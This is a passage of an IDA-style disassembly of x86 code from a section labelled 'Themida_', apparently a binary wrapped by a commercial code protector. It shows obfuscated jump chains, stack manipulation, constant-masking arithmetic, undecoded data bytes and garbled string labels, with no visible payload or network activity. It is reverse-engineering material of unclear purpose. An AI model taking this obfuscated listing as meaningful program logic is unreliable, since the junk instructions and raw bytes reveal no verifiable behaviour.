		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5670C6:				; CODE XREF: Themida_:0055DCBCj
		push	ebx
		jmp	loc_56B218
; ---------------------------------------------------------------------------
		dd 0D6F7F787h, 0FB87F787h, 0CD0AF381h, 0BA52DA0Dh, 0BA312B8h
		dd 0FF97DAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5670E5:				; CODE XREF: Themida_:00560195j
		push	29C6h
		mov	[esp], edi
		jmp	loc_56EA5D
; ---------------------------------------------------------------------------

loc_5670F2:				; CODE XREF: Themida_:0056D6B6j
		add	esi, 2C3C4E2Ah
		jmp	loc_568732
; ---------------------------------------------------------------------------

loc_5670FD:				; CODE XREF: Themida_:0056A395j
		pop	ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	edi
		push	ebx
		jmp	loc_56A0BB
; ---------------------------------------------------------------------------

loc_567127:				; CODE XREF: Themida_:0056EA73j
		mov	edx, 0F713FEh
		jmp	loc_562246
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 69h
		dd 0E9596902h, 0FFFFF432h
; ---------------------------------------------------------------------------

loc_56713C:				; CODE XREF: Themida_:0056BA90j
		mov	ecx, 52724CD1h
		sub	esi, ecx
		pop	ecx
		pop	ebp
		add	esi, eax
		sub	esi, 27472209h
		pop	eax
		push	ebp
		mov	ebp, 4B6009DEh
		sub	ebp, 1
		xor	ebp, 606E4365h
		push	ecx
		mov	ecx, 3767321Ch
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		neg	ecx
		not	ecx
		xor	ecx, 0E3968756h
		sub	ebp, ecx
		pop	ecx
		sub	esi, 3F226A0Eh
		add	esi, ebp
		add	esi, 3F226A0Eh
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [eax]
		add	dword ptr [eax], 74C0623Bh
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		dw 489h
		dd 2474FF24h, 24048B04h, 4C481h, 48F0000h, 0B224E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5671B2:				; CODE XREF: Themida_:0056D5F4j
		sub	dword ptr [esp], 0B4C4C9Bh
		pop	edx
		add	edx, 0B4C4C9Bh
		mov	edi, [esp]
		add	esp, 4
		pop	ebp

loc_5671CA:				; CODE XREF: Themida_:0056E367j
					; Themida_:0056E64Ej
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_566C9A
; ---------------------------------------------------------------------------

loc_5671DE:				; CODE XREF: Themida_:0055E0E0j
		add	edx, 962361D4h
		or	esi, edx
		pop	edx
		jmp	loc_56F20A
; ---------------------------------------------------------------------------
		dd 509AEE81h, 0F009FF67h, 3E8C15Eh, 0EE623548h,	0C731149Bh
		dd 5989E958h, 248B0000h, 66E1F624h, 66CCB60Fh, 66315D68h
		dd 66240C89h, 0E9C8B60Fh, 0FFFFFB40h, 20A5E95Dh, 48F0000h
		dd 24248B24h, 240C8B66h, 395668h, 242C8900h, 0ABB7E954h
		dd 5580000h, 0F513823Eh, 0E958C389h, 84B8h
; ---------------------------------------------------------------------------

loc_56724C:				; CODE XREF: Themida_:0056AD39j
		mov	esp, [esp]
		push	3CAFh
		jmp	loc_5660AD
; ---------------------------------------------------------------------------

loc_567259:				; CODE XREF: Themida_:0056D1BFj
		sub	esi, 4B7C4EB7h
		add	esi, ebp
		add	esi, 4B7C4EB7h
		sub	esi, 59947041h
		pop	ebp
		jmp	loc_56747B
; ---------------------------------------------------------------------------

loc_567273:				; CODE XREF: Themida_:0055EEE4j
		add	ebx, 5B6D25BFh
		mov	ebp, [esp]
		jmp	loc_570A69
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E589242Ch, 4C581h, 0ED810000h, 4, 22D4E9h
		db 0
; ---------------------------------------------------------------------------

loc_56729D:				; CODE XREF: Themida_:0056F327j
		push	184h
		mov	[esp], eax
		jmp	loc_5722BB
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 3708ED81h, 0F1E91009h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5672B7:				; CODE XREF: Themida_:00568527j
		pop	esi
		push	3774h
		mov	[esp], eax
		push	5DE7h
		mov	[esp], esp
		jmp	loc_565AD8
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 0FFh
		dd 1C8B2434h, 4C48324h,	5D5668h, 24348900h, 4EC81h, 1C890000h
		dd 81E38924h, 4C3h, 4EB8100h, 0E9000000h, 0FFFFE2A6h, 24043359h
		dd 51D3E9h, 0F9895B00h,	0E9CD015Fh, 0FFFFBE31h,	0CFE9F829h
		dd 4AFFFF78h, 0EA81D2F7h, 1AC891A2h, 5BE2E9h
		db 0
; ---------------------------------------------------------------------------

loc_567325:				; CODE XREF: Themida_:005624D2j
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56641A
; ---------------------------------------------------------------------------
		db 68h,	0A8h, 5
		dd 3C890000h, 4693BF24h, 0BE56403Dh, 403D4697h,	9CE9F089h
		dd 680000ACh, 682Bh, 83240489h,	0C8904ECh, 2C61B924h, 0E95145D4h
		dd 649Bh, 3E3FEB81h, 0D931BB3Ch, 71F1815Bh, 0E97C0118h
		dd 5BB9h, 8244C01h, 8246C81h, 3046650Ch, 0C8C0E959h, 2D5BFFFFh
		dd 5F282D74h, 0AB2DE9h,	5DE90100h, 5C240C87h, 4C381h, 0A5680000h
		dd 89000018h, 4BD242Ch,	1000000h, 2434FFEBh, 4C4815Dh
		dd 87000000h, 248B241Ch, 0C8AF0F24h, 9EE99C51h,	21FFFF64h
		dd 0E94558C5h, 3205h, 15AD729h,	8FC781D7h, 5A21F150h, 3302C783h
		dd 3C31243Ch, 243C3324h, 0C885665Ch, 6473E99Ch,	0B951FFFFh
		dd 2D473414h, 1429BE56h, 0F109327Ah, 81F1E9h, 0AEE95800h
		dd 89FFFFACh, 0E0892404h, 4BB53h, 0C2E90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567423:				; CODE XREF: Themida_:0056E351j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	6F5Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_56BE16
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2434h, 4C4h, 2E9C100h, 5112BF57h, 0E78151F0h, 5B80550Ah
		dd 4E7C14Fh, 26A0EF81h,	0F0E9082Ah, 4DFFFF73h, 0AD57ED81h
		dd 8EE9ECA4h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56747B:				; CODE XREF: Themida_:0056726Ej
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	eax, 76C28F3h
		push	2Ah
		mov	[esp], esi
		push	edx
		push	0E5C4ECDh
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_565985
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 59EA0074h, 8001C280h, 0B0505FEAh, 0EEC7E9EAh, 0F581FFFFh
		dd 73C7779Bh, 0FFD171E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5674C9:				; CODE XREF: Themida_:00571D60j
		not	ecx
		jmp	loc_560A6F
; ---------------------------------------------------------------------------
aIxhg@		db '┴Еh┐@',0
		dw 8900h
		dd 0BBA2414h, 0C126A90Fh, 0EC8104E2h, 4, 0B9240C89h, 0FFFFFFFFh
		dd 0CE9CA29h, 5EFFFF7Bh, 0FFC88BE9h, 9ABD55FFh,	9252450h
		dd 95915DE9h, 3195D5F7h, 0AB17E9C1h, 3C8BFFFFh,	4C48324h
		dd 4EC81h, 4890000h, 79DFB824h,	0C7011445h, 0F8895958h
		dd 58C5015Fh, 31242C33h, 0BE9242Ch, 5A000069h, 0FF639AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567541:				; CODE XREF: Themida_:0055DBBAj
		pop	esp
		sub	edx, 3CF41F77h
		add	edx, 57412D0Eh
		jmp	loc_563B69
; ---------------------------------------------------------------------------

loc_567553:				; CODE XREF: Themida_:0055F05Cj
		pop	edx
		sub	edi, 308C0C73h
		jmp	loc_56052C
; ---------------------------------------------------------------------------
		db 1
		dd 0E904245Ch, 4CCEh, 315EF189h, 0CA3158C1h, 0FFD50159h
		dd 815A2434h, 4C4h, 0F1E95200h,	33FFFFACh, 34312434h, 5BE9E924h
		dd 0BD550000h, 16A45405h, 0FFFFC581h, 0ED81FFFFh, 663A1254h
		dd 2C8BEA29h, 4C48124h,	53000000h, 0DD89D389h, 0FF8C81E9h
		dd 4C381FFh, 50000000h,	4B8h, 58C30100h, 5C241C87h, 33E9E989h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5675CF:				; CODE XREF: Themida_:0056A33Aj
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, 239491D0h
		push	ebp
		mov	ebp, edx
		mov	ebx, ebp
		pop	ebp
		pop	edx
		shl	ebx, 6
		add	ebx, 1
		push	ebp
		mov	ebp, 0B7818302h
		add	ebx, 3A8E14DBh
		push	ebp
		jmp	loc_56856F
; ---------------------------------------------------------------------------

loc_567602:				; CODE XREF: Themida_:0056272Aj
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_56C51B
; ---------------------------------------------------------------------------

loc_56760F:				; CODE XREF: Themida_:0056239Aj
		mov	ecx, 51690142h
		mov	eax, 0AC626E80h
		sub	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 0A50692C6h
		add	eax, ebx
		pop	ebx
		jmp	loc_56867C
; ---------------------------------------------------------------------------
aBGpljsyj	db '│бGP▀jИYj',0
		db 0
; ---------------------------------------------------------------------------

loc_567635:				; CODE XREF: Themida_:0056238Bj
		mov	ecx, 767A75DEh
		add	ecx, 89858A24h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		and	[esp], ax
		pushf
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 0CFF7E924h, 6858FFFFh, 0B30h, 0B9240C89h, 4,	8759CB01h
		dd 248B241Ch, 2BF5724h,	1000000h, 243C8BF8h, 53D5E9h
		db 0
; ---------------------------------------------------------------------------

loc_567681:				; CODE XREF: Themida_:00569E6Bj
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_565324
; ---------------------------------------------------------------------------

loc_56768F:				; CODE XREF: Themida_:005622D3j
		push	182Dh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	7535h
		jmp	loc_567D1D
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 101EE9h, 0DF055900h,	8B1D6C1Ah, 0C4812434h, 4, 0D9E9D801h
		dd 68000081h, 7C46137Fh, 4FF5058h, 35485824h, 5056516h
		dd 40E1E905h, 0E9C789A9h, 0FFFFC782h, 689EE981h, 0CE0176ACh
		dd 0FF565859h, 0FF042474h, 0EEE92434h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567707:				; CODE XREF: Themida_:0056E63Cj
		xchg	ebp, [esp]
		jmp	loc_563EFE
; ---------------------------------------------------------------------------
		db 68h
		dd 2, 0FFE86BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567719:				; CODE XREF: Themida_:005695C5j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562A9C
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 452Dh
; ---------------------------------------------------------------------------

loc_567730:				; CODE XREF: Themida_:0056233Dj
		pop	ebp
		xchg	ebp, ebx
		add	ebx, 356973h
		add	ebx, 897B320Ch
		push	esi
		mov	esi, ebx
		mov	ecx, esi
		pop	esi
		mov	ebx, [esp]
		push	4F3Dh
		mov	[esp], ebp
		jmp	loc_56845D
; ---------------------------------------------------------------------------

loc_567755:				; CODE XREF: Themida_:0056BF39j
		pop	edi
		xchg	edx, [esp]
		pop	esp
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		mov	eax, [esp]
		jmp	loc_56658A
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 0F68BE958h, 0F488FFFFh, 0A8C7E95Ah, 0E089FFFFh
		dd 405h, 0B8505100h, 0A4C3C90h,	0C103E8C1h, 0B3E902E8h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567797:				; CODE XREF: Themida_:00566C95j
		sub	eax, edx
		pop	edx
		push	4CC3h
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_55FF2C
; ---------------------------------------------------------------------------
aSpd		db ']И▐└',0
		dd 0E9D1F700h, 51A8h
; ---------------------------------------------------------------------------

loc_5677B8:				; CODE XREF: Themida_:0056AC3Fj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_56F0BA
; ---------------------------------------------------------------------------

loc_5677CE:				; CODE XREF: Themida_:00572816j
		sub	ebp, ebx
		pop	ebx
		pop	ebx
		add	dword ptr [esp+4], 1AB2CB4h
		add	[esp+4], ebp
		jmp	loc_56B1EF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 1B51E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5677EE:				; CODE XREF: Themida_:0055F044j
		mov	edx, ebp
		pop	ebp
		shr	edx, 7
		add	edx, 1000605h
		push	ecx
		mov	ecx, 1
		sub	edx, ecx
		pop	ecx
		dec	edx
		add	edx, 304625B0h
		jmp	loc_5604DD
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 0F7E95C24h, 50FFFF9Bh, 3917E6B8h, 8BC28940h
		dd 0C4832404h, 0F7524204h, 0F75A2414h, 7AF1E9DAh, 815CFFFFh
		dd 4C3h, 4B95100h, 81000000h, 546126EBh, 81CB295Ch, 546126C3h
		dd 1C87595Ch, 4895C24h,	4EC8124h, 89000000h, 4832424h
		dd 51580424h, 5841E9h
		db 0
; ---------------------------------------------------------------------------

loc_56786D:				; CODE XREF: Themida_:0056D3B3j
		push	ecx
		push	esi
		jmp	loc_560115
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFD351h, 24048B66h, 4EC81h, 1C890000h
		dd 0B1DAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56788E:				; CODE XREF: Themida_:00561585j
		add	edx, ecx
		jmp	loc_571301
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0FCh
		dd 5626F538h, 0AB7994BEh, 5EF129AEh, 3D9BBB53h,	0DE0135B8h
		dd 81CE295Bh, 0B83D9BEEh, 2434FF35h, 79BCE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5678BE:				; CODE XREF: Themida_:00571577j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56BA45
; ---------------------------------------------------------------------------
		db 1
		dd 95BB53C8h, 56AA367h,	75454D9h, 0D92DD801h, 0E9075454h
		dd 6E44h, 0FE631B05h, 0E2BA5234h, 137CB12h, 7685AD0h, 89000060h
		dd 25BD242Ch, 0E92F864Eh, 7AE1h
; ---------------------------------------------------------------------------

loc_567900:				; CODE XREF: Themida_:0056F205j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55D86D
; ---------------------------------------------------------------------------

loc_56790B:				; CODE XREF: Themida_:0056BC58j
		not	edi
		xchg	edi, esi
		shl	esi, 3
		push	ecx
		jmp	loc_568362
; ---------------------------------------------------------------------------

loc_567918:				; CODE XREF: Themida_:0056A424j
		shl	eax, 5
		push	ecx
		mov	ecx, 27B26C8Ah
		add	eax, ecx
		pop	ecx
		jmp	loc_565DCF
; ---------------------------------------------------------------------------
		db 59h,	0C1h, 0EBh
		dd 0EDE38102h, 531F4240h, 0FFE9ECE9h, 1A9768FFh, 35E90000h
		dd 88FFFF77h, 0A92C5AF3h, 0A2E90F04h, 0BD00003Eh, 55650558h
		dd 0DA2B850h, 0C5317086h, 8BEE3158h, 0C6E9242Ch, 830000A0h
		dd 84E904C4h, 0BDFFFFD7h, 59E86FD9h, 0D5F7EDD1h, 38E9D5F7h
		dd 83FFFFD7h, 0D9F604C4h, 800BF180h, 0E980ECF1h, 12E98077h
		dd 0E900B450h, 0FFFFC1C1h
; ---------------------------------------------------------------------------

loc_567998:				; CODE XREF: Themida_:00561B2Bj
		sub	edx, 4DFD6E0Eh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56D919
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0EC815196h, 4, 51241C89h, 1E2590B9h,	0FFE98156h, 81FFFFFFh
		dd 0BCDB3DC1h, 59CB89DFh, 0FFF5F2E9h, 814D4DFFh, 5155A1CDh
		dd 0C6B6E90Fh, 0B951FFFFh, 10630F8h, 1659BA52h,	0D1298CA8h
		dd 4581E9h, 0BEEA8100h,	8174736Ah, 0A27DFDEAh, 81FA015Dh
		dd 0A27DFDC2h, 0BEC2815Dh, 5074736Ah, 4D6CE9h
		db 0
; ---------------------------------------------------------------------------

loc_567A0D:				; CODE XREF: Themida_:0056E9C4j
		add	bl, 9Ch
		sub	bl, cl
		jmp	loc_55FEE3
; ---------------------------------------------------------------------------
		db 81h
		dd 8E26F6C6h, 5EF08912h, 5158C689h, 1ADBF57h, 0F7817D3Ch
		dd 684852ADh, 315FF989h, 4BE959CEh, 66000076h, 8124048Bh
		dd 4ECh, 243C8900h, 527868h, 48F5400h, 24048124h, 4, 62A3685Fh
		dd 4890000h, 0A3B95124h, 0F71A0F7Bh, 6EE7E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_567A6E:				; CODE XREF: Themida_:0057259Fj
		pop	ebp
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 1BE3348Bh
		add	ebp, ebx
		pop	ebx
		add	ebp, edx
		sub	ebp, 1BE3348Bh
		add	ebp, 678277F5h
		pop	edx
		push	edx
		mov	edx, 2
		jmp	loc_571CF9
; ---------------------------------------------------------------------------

loc_567A9D:				; CODE XREF: Themida_:00568FF6j
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55E690
; ---------------------------------------------------------------------------

loc_567AB5:				; CODE XREF: Themida_:00564F34j
		push	0A33h
		jmp	loc_56668D
; ---------------------------------------------------------------------------
		db 1
		dd 61EB81F3h, 0E9767446h, 0FFFF7755h, 0C380C300h, 0F7EB8094h
		dd 32F068h, 240C8900h, 9ACBE9h
		db 0
; ---------------------------------------------------------------------------

loc_567AE1:				; CODE XREF: Themida_:005600AFj
		xchg	ebp, esi
		not	ebp
		jmp	loc_565052
; ---------------------------------------------------------------------------
		dw 0BBAh
		dd 81421002h, 20456FC2h, 0B24EE9E3h, 0EA81FFFFh, 4CF7170Ah
		dd 0FFB850E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567B05:				; CODE XREF: Themida_:0056702Ej
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5624D7
; ---------------------------------------------------------------------------

loc_567B13:				; CODE XREF: Themida_:00561061j
		sub	eax, edi
		pop	edi
		mov	ebp, eax
		jmp	loc_571F5F
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 36D7E9h, 4EC8100h, 89000000h, 0BD55243Ch, 22B0D5Eh
		dd 4F61F581h, 0E5C11B96h, 5AF58108h, 8123020Bh,	95FE9C5h
		dd 0F7F58742h, 0B06FE9D6h, 0D3F7FFFFh, 0E9FFEB83h, 6B8Ch
		dd 0C725DABDh, 0F958E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567B66:				; CODE XREF: Themida_:0056CF02j
		add	esp, 4
		or	esi, 5DDE608Bh
		jmp	loc_5701B6
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7AD2892h, 2280EB81h,	0E381378Eh, 114DDFh, 37CBD55h
		dd 0C0E943F5h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567B93:				; CODE XREF: Themida_:00562CDCj
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		dd 8002E4C0h, 0E22042F4h, 52CAFE58h, 5A2414F6h,	0FF9A0FE9h
		dd 59C888FFh, 0C058C320h, 45E907EBh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567BBB:				; CODE XREF: Themida_:005644C0j
		mov	[esp], ebx
		mov	ebx, 1EDE5EAEh
		push	ebx
		push	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56C555
; ---------------------------------------------------------------------------
aBJ		db '│гфJ',0
		dd 56505945h, 45936BEh,	32EE8153h, 89530459h, 24348BF0h
		dd 104C483h, 2434FFC7h,	8124048Bh, 4C4h, 1AD06800h, 34890000h
		dd 81E68924h, 4C6h, 4C68100h, 87000000h, 248B2434h, 74FF5724h
		dd 8F5F0424h, 248B2404h, 24040124h, 5C3FE99Ch, 0C681FFFFh
		dd 4, 8704EE83h, 895C2434h, 72E92414h, 5000009Bh, 405EF9B8h
		dd 58C5896Fh, 424EE9h
		db 0
; ---------------------------------------------------------------------------

loc_567C51:				; CODE XREF: Themida_:0056950Bj
		neg	ebp
		not	ebp
		and	ebp, 2D9D7808h
		sub	ebp, 0D1D1804h
		add	edi, 281D3E96h
		sub	edi, 437E1367h
		add	edi, ebp
		add	edi, 437E1367h
		sub	edi, 281D3E96h
		jmp	loc_569C84
; ---------------------------------------------------------------------------

loc_567C80:				; CODE XREF: Themida_:0056EA15j
		mov	[esp], edx
		jmp	loc_56F94C
; ---------------------------------------------------------------------------
		dd 55241489h, 0FFFFB2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567C91:				; CODE XREF: Themida_:00569816j
		not	dword ptr [esp]
		pop	eax
		xchg	eax, esi
		add	esi, 9DB7C138h
		xor	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_564163
; ---------------------------------------------------------------------------

loc_567CAA:				; CODE XREF: Themida_:0056CACCj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_56D25E
; ---------------------------------------------------------------------------

loc_567CCA:				; CODE XREF: Themida_:00564F13j
		push	6C66h
		mov	[esp], ebx
		pop	ebp
		pop	ebx
		not	ebx
		xchg	ebx, ebp
		shl	ebp, 7
		jmp	loc_56E47B
; ---------------------------------------------------------------------------

loc_567CE0:				; CODE XREF: Themida_:0056BD49j
		add	ecx, 8401BA26h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	ebx
		push	esp
		pop	ebx
		push	853h
		mov	[esp], eax
		push	edi
		mov	edi, 6B602871h
		jmp	loc_5661FA
; ---------------------------------------------------------------------------
		dd 2DEE78B9h, 59C8019Ah, 291FE981h, 0C1014F09h,	8B6DE9h
		db 0
; ---------------------------------------------------------------------------

loc_567D1D:				; CODE XREF: Themida_:005676B0j
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_563669
; ---------------------------------------------------------------------------

loc_567D2C:				; CODE XREF: Themida_:0056CDEDj
		pop	ebx
		sub	eax, ebp
		jmp	loc_569638
; ---------------------------------------------------------------------------
		dd 0E95AD588h, 0FFFF7F0Bh
; ---------------------------------------------------------------------------

loc_567D3C:				; CODE XREF: Themida_:00569956j
		xor	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 20h
		jmp	loc_570D98
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0E99C242Ch, 0FFFF5B19h, 0E089505Ah, 405h, 4C08300h
		dd 43E7E950h, 0D0010000h, 4EC815Ah, 89000000h, 47B9240Ch
		dd 0F71B7F00h, 0D0C6E9D1h, 0BB53FFFFh, 58B3138Ch, 8102EBC1h
		dd 525609F3h, 0D8CB8117h, 8129DF7Eh, 728777F3h,	5BDE0110h
		dd 0FFF47FE9h, 45C381FFh, 16F9F61h, 33F8E9DEh, 0CA810000h
		dd 1C3744BAh, 4D31F281h, 0D5896CEDh, 8E5C15Ah, 0A333E9h
		dd 0FFEF3000h, 0B3E92434h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567DCF:				; CODE XREF: Themida_:00562E15j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5624BA
; ---------------------------------------------------------------------------
		dd 242668h, 24348900h, 0A6685E54h, 0E9000013h, 65AFh, 7D8368h
		dd 241C8900h, 0CE131468h, 241C8B66h, 8104C483h,	256A14EBh
		dd 2BE38119h, 81725E1Ah, 758937EBh, 0E9D989D5h,	0FFFFC809h
		dd 0E9240C8Bh, 0FFFF62EAh, 5505EDC1h, 0E92414F7h, 0FFFFE5FDh
		dd 93E9E189h, 21FFFFE9h, 814E5FFEh, 853723F6h, 94EB8138h
		dd 2919F87Dh, 94C381F3h, 5E19F87Dh, 5F71EB81h, 0C3015C7Eh
		dd 5F71C381h, 0BD555C7Eh, 336739F8h, 5508EDC1h,	5D241CF7h
		dd 5D9FCD81h, 0E5C15333h, 5CC58108h, 5030B125h,	3269B8h
		dd 8BC3293Bh, 0C4832404h, 6BF9E904h, 0DE01FFFFh, 74B7C681h
		dd 0C68162F9h, 3C242A19h, 5B2434FFh, 4C481h, 0EC810000h
		dd 4, 0FF243489h, 8B042474h, 0C4812434h, 4, 6134E9h, 2434FF00h
		dd 2686E959h, 248B0000h, 4FF6624h, 0D3E99C24h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567ED7:				; CODE XREF: Themida_:0056E489j
		mov	edi, 6CC94242h
		add	edi, 580E488Eh
		xor	edi, 717674C9h
		jmp	loc_56DA38
; ---------------------------------------------------------------------------

loc_567EED:				; CODE XREF: Themida_:00564519j
		pop	edi
		push	ecx
		jmp	loc_563EE9
; ---------------------------------------------------------------------------
		dd 8F04C483h, 248B2404h, 242C8924h, 6AC5E957h, 0E2C1FFFFh
		dd 68DAF702h, 65Bh, 0BD242C89h,	1DBA659Bh, 3044CD81h, 35682EEDh
		dd 8900006Dh, 6EBA2414h, 0E97C2B76h, 0FFFFFBCAh, 0C3815B54h
		dd 4, 0E904EB83h, 0FFFF802Bh, 0D1E9D129h, 51FFFF6Eh, 797DF7B9h
		dd 59C8892Ch, 9EE9D0F7h, 33000069h, 13E92414h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567F5F:				; CODE XREF: Themida_:00560DDBj
		pop	eax
		add	ecx, 41BB5DA4h
		add	ecx, 0AC8FD439h
		jmp	loc_5690D0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6824148Bh, 6F3Dh, 0E9243C89h, 0FFFF6D69h, 52BCF180h
		dd 0CE80AEB6h, 23B551C8h, 0F605EDC0h, 0FFED80D5h, 0E960CD80h
		dd 0C11h, 83242489h, 8B042404h,	0E956240Ch, 0FFFFB7BDh
		dd 0E9243489h, 26F7h, 4C381h, 0E9550000h, 0FFFF9142h
; ---------------------------------------------------------------------------

loc_567FC4:				; CODE XREF: Themida_:0056835Dj
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		push	19CEh
		mov	[esp], esi
		jmp	loc_563992
; ---------------------------------------------------------------------------
aYs_0		db ')йYИ',0
		dw 0FFFAh
		dd 74FF51FFh, 0C8B0424h, 4C48124h, 8F000000h, 665C2404h
		dd 2404BB0Fh, 5863E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56800A:				; CODE XREF: Themida_:0056DC41j
		add	edi, 575324E7h
		add	edi, 58500F17h
		add	edi, ebx
		sub	edi, 58500F17h
		jmp	loc_56810E
; ---------------------------------------------------------------------------

loc_568023:				; CODE XREF: Themida_:00565DCAj
		push	6637h
		mov	[esp], eax
		mov	eax, 69E51DB9h
		jmp	loc_562916
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 7Bh
		dd 0DAF65966h, 51C3C280h, 0FF96B6E9h, 3EEC1FFh,	0B26FC681h
		dd 0F201F7AFh, 0E1BE95Eh, 0C6FE0000h, 0D052C680h, 4EEC0E6h
		dd 2877C680h, 0B60F5AF3h, 4EC83C0h, 2D56E9h, 2434FF00h
		dd 8324048Bh, 0D06804C4h, 0E9000005h, 0A6BCh
; ---------------------------------------------------------------------------

loc_568084:				; CODE XREF: Themida_:0056BF56j
		mov	esi, 49373CC7h
		jmp	loc_57045B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5F0AE9h
		db 0
; ---------------------------------------------------------------------------

loc_568099:				; CODE XREF: Themida_:00560E22j
		add	edi, ebp
		push	3575h
		mov	[esp], edx
		mov	edx, 50AD2496h
		xor	edx, 5AD3366Bh
		sub	edi, edx
		pop	edx
		pop	ebp
		jmp	loc_5622D8
; ---------------------------------------------------------------------------
		align 4
		dd 8B0404C8h, 0C483240Ch, 5A6CE904h, 48F0000h, 0C3285C24h
		dd 0FF99E7E9h, 0D1E95DFFh
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5680D7:				; CODE XREF: Themida_:0056F4EDj
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_5628A1
